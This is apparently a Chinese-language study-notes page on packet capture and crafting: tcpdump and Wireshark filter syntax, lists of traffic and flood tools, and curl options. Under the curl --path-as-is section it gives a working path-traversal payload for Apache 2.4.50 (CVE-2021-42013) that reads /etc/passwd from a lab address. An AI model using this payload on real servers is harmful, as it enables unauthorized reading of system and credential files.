抓包发包
抓包发包
常用抓包工具
常用抓包工具 | 特点 |
---|---|
Wireshark | 通用抓包工具,简单易用,开源免费,具有强大的分析能力 |
Tcpdump | Linux,抓包功能强大,命令行工具,保存的文件是二进制 |
Windump | Windows的Tcpdump工具 |
Tshark | Wireshark的Linux命令行工具 |
Sniffer | 支持协议解析;网络活动监视;专家分析系统(Expert )。Sniffer Portable具有超强的专家分析能力,价格昂贵。 |
Fidder | Http代理,它能记录所有客户端和服务器的Http和Https请求响应 |
Charles | 设置代理抓取http包,MAC上对Charles支持更好 |
OmniPeek | 更适用于无线网络、语音等技术 |
Firebug | Web调试工具,集成在Internet Explorer工具栏 |
HttpWatch | Web调试工具,网页浏览器Mozilla Firefox下的一款开发类插件 |
...... |
TCPDUMP
Linux,抓包功能强大,命令行工具,保存的文件是二进制, cat 和 vim 无法打开
- 下载到本地使用wireshark界面网络分析工具进行网络包分析
- tcpdump本身的命令去读取
apt list | grep tcpdump
帮助
tcpdump --help
man tcpdump
语法
https://tonydeng.github.io/sdn-handbook/linux/tcpdump.html
Capture Filter 语法(BPF)
tcpdump -nn -i eth0 tcp and host 192.168.1.163 and port 80
-nn
中, 第一个 n 表示以 IP 地址的方式显示主机名, 第二个 n 表示以端口数字的形式代替服务名
tcpdump -nn -vs0 -i eth0 -c 100 -w 1.pcap
-vs0
表示不限制包的大小
# 常用抓包命令, 抓取 eth1 网卡上和 host xxx 相互通信的流量
tcpdump -nn -vv -i eth1 -w xxx.pcap host xxx
Wireshark
安装相关
WinPcap · Wiki · Wireshark Foundation / wireshark · GitLab
安装的时候会提示选择 npcap
还是 winpcap
, 需要注意的是 winpcap
提供 win95 - win8
的支持, npcap
提供 win7-win11
的支持
使用相关
Capture Filter 语法
udp dst port 4569 # 显示目的UDP端口为4569的封包。
ip src host 192.168.4.7 # 显示来源IP地址为192.168.4.7的封包。
host 192.168.4.7 # 显示目的或来源IP地址为192.168.4.7的封包。
src portrange 2000-5000 # 显示来源为TCP或UDP,并且端口在2000~5000范围内的封包。
not icmp # 显示除icmp以外的封包。
src host 172.17.12.1 and not dst net 192.168.2.0/24 # 显示来源IP地址为172.17.12.1,但目的地址不是192.168.2.0/24的封包。
(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8 # 显示来源IP为10.4.1.12或者来源网络为10.6.0.0/16,目的地TCP端口号在200至10000之间,并且目的位于网络10.0.0.0/8内的所有封包
常用发包工具
报文回放:(模拟的)
- TCPREPLAY
- Xcap
- Scapy
攻击软件︰(模拟的)
- Hping3
- NetCat
- sendip
- Nmap
- NetStress - http/dns/udp flood
客户端/服务器︰(真实的)
- 浏览器 – http/https/ftp client
- wget/curl - http/https 抓取
- cmd和terminal - ftp/telnet client
- 3CDaemon - ftp/tftp/syslog Server
- Vsftpd - ftp Server
- Apache/Nginx - http/https Server
- Rsyslogd - syslog Server
- tftp/tftp-server ; tftp-hpa/tftpd-hpa - tftp Server
- sendmail/postfix - Mail Server
- Windows Server
XCAP
需要先装 winpcap4.1.3 然后再安装 XCAP
XCAP是一个免费的网络发包工具,可以构造和发送常用的网络报文,如ARP、UDP、ICMP等。
- 新建Packet Group
- 新建报文名称
curl
curl(Client URL) 用于请求 Web 服务器, 用的熟练的话完全可以取代 Postman 这类图形界面工具
不带有任何参数时,curl 就是发出 GET 请求。
curl https://www.example.com
-A
-A
参数指定客户端的用户代理标头,即User-Agent
。curl 的默认用户代理字符串是curl/[version]
。
curl -A 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' https://www.example.com
也可以使用 -A ''
来移出 User-Agent 标头
或者使用 -H 'User-Agent: xxx'
来自定义 User-Agent
-b
-b
参数用来向服务器发送 Cookie。
curl -b 'foo=bar' https://www.example.com
如上命令会向服务器发送一个名为 foo
值为 bar
的 cookie
发送多个 cookie:
curl -b 'foo1=bar;foo2=bar2' https://www.example.com
读取本地文件发送 cookie
curl -b cookies.txt https://www.example.com
可以结合 -c 看下
-c
-c
参数将服务器设置的 Cookie 写入一个文件。
curl -c cookies.txt https://www.baidu.com
上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt
。
-d
-d
参数用于发送 POST 请求的数据体。
curl -d'login=emma&password=123'-X POST https://www.example.com
# 或者
curl -d 'login=emma' -d 'password=123' -X POST https://www.example.com
使用-d
参数以后,HTTP 请求会自动加上标头Content-Type : application/x-www-form-urlencoded
。并且会自动将请求转为 POST 方法,因此可以省略-X POST
。
-d
参数可以读取本地文本文件的数据,向服务器发送。
curl -d '@data.txt' https://google.com/login
上面命令读取data.txt
文件的内容,作为数据体向服务器发送。
-v
-v
参数输出通信的整个过程,用于调试。
curl -v https://www.example.com
--trace
参数也可以用于调试,还会输出原始的二进制数据。
curl --trace - https://www.example.com
......
--path-as-is
Do not squash .. sequences in URL path
不压缩 URL path 中的 .. 序列, 在做目录遍历的时候会用到
比如 **Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013) **
如果直接发明文的 .. 且不用 --path-as-is
的话就会把 ../
全丢掉
curl -v http://192.168.2.31:8080/icons/../../../../../../../etc/passwd
正确的利用方式:
curl -v --path-as-is http://192.168.2.31:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
使用了 -v
参数输出通信的整个过程,用于调试。又使用了 --path-as-is
从而不压缩 ..
序列
如果不使用
--path-as-is
则与之前一样, 可以利用成功, 流量也一致, 说明
--path-as-is
只对明文的..
生效, 编了码的话就没必要再加该参数了
Tcpreplay
# 安装
apt install tcpreplay